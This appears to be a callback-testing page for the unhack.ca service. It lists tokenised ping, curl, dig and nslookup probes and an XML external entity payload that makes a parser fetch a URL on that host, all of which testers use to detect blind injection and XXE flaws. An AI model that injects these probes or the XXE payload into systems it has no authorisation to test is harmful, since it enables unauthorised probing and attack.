$ ping -c1 -p 002b01028214f2004fbbd61b29ba1100 unhack.ca
 

$ curl http://unhack.ca/p/2b01028214f2004fbbd61b29ba11
 

$ dig 2b01028214f2004fbbd61b29ba11 @unhack.ca
 

$ dig 2b01028214f2004fbbd61b29ba11.ns.unhack.ca
 

C:\> nslookup 2b01028214f2004fbbd61b29ba11 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2b01028214f2004fbbd61b29ba11">]>
    <foo>&xxe;</foo>